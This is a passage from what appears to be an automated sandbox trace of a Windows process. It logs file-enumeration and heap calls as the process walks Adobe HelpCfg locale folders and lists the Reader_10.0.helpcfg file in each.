ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0242.422] GetProcessHeap () returned 0x550000 [0242.422] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.423] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.423] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.423] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.423] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.423] GetProcessHeap () returned 0x550000 [0242.423] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.423] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0242.423] GetProcessHeap () returned 0x550000 [0242.423] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.480] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.480] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.480] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.480] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.484] GetProcessHeap () returned 0x550000 [0242.484] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.484] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0242.484] GetProcessHeap () returned 0x550000 [0242.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.485] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.485] GetProcessHeap () returned 0x550000 [0242.485] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.485] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0242.485] GetProcessHeap () returned 0x550000 [0242.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.486] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.486] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.486] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.486] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.486] GetProcessHeap () returned 0x550000 [0242.486] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.486] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0242.486] GetProcessHeap () returned 0x550000 [0242.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.487] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.487] GetProcessHeap () returned 0x550000 [0242.487] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.487] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0242.487] GetProcessHeap () returned 0x550000 [0242.487] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.487] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.487] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.488] GetProcessHeap () returned 0x550000 [0242.488] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0242.488] GetProcessHeap () returned 0x550000 [0242.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.646] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.646] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.646] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.646] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.646] GetProcessHeap () returned 0x550000 [0242.646] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.646] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0242.646] GetProcessHeap () returned 0x550000 [0242.647] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.647] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.647] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.647] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.647] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.647] GetProcessHeap () returned 0x550000 [0242.647] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.647] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, 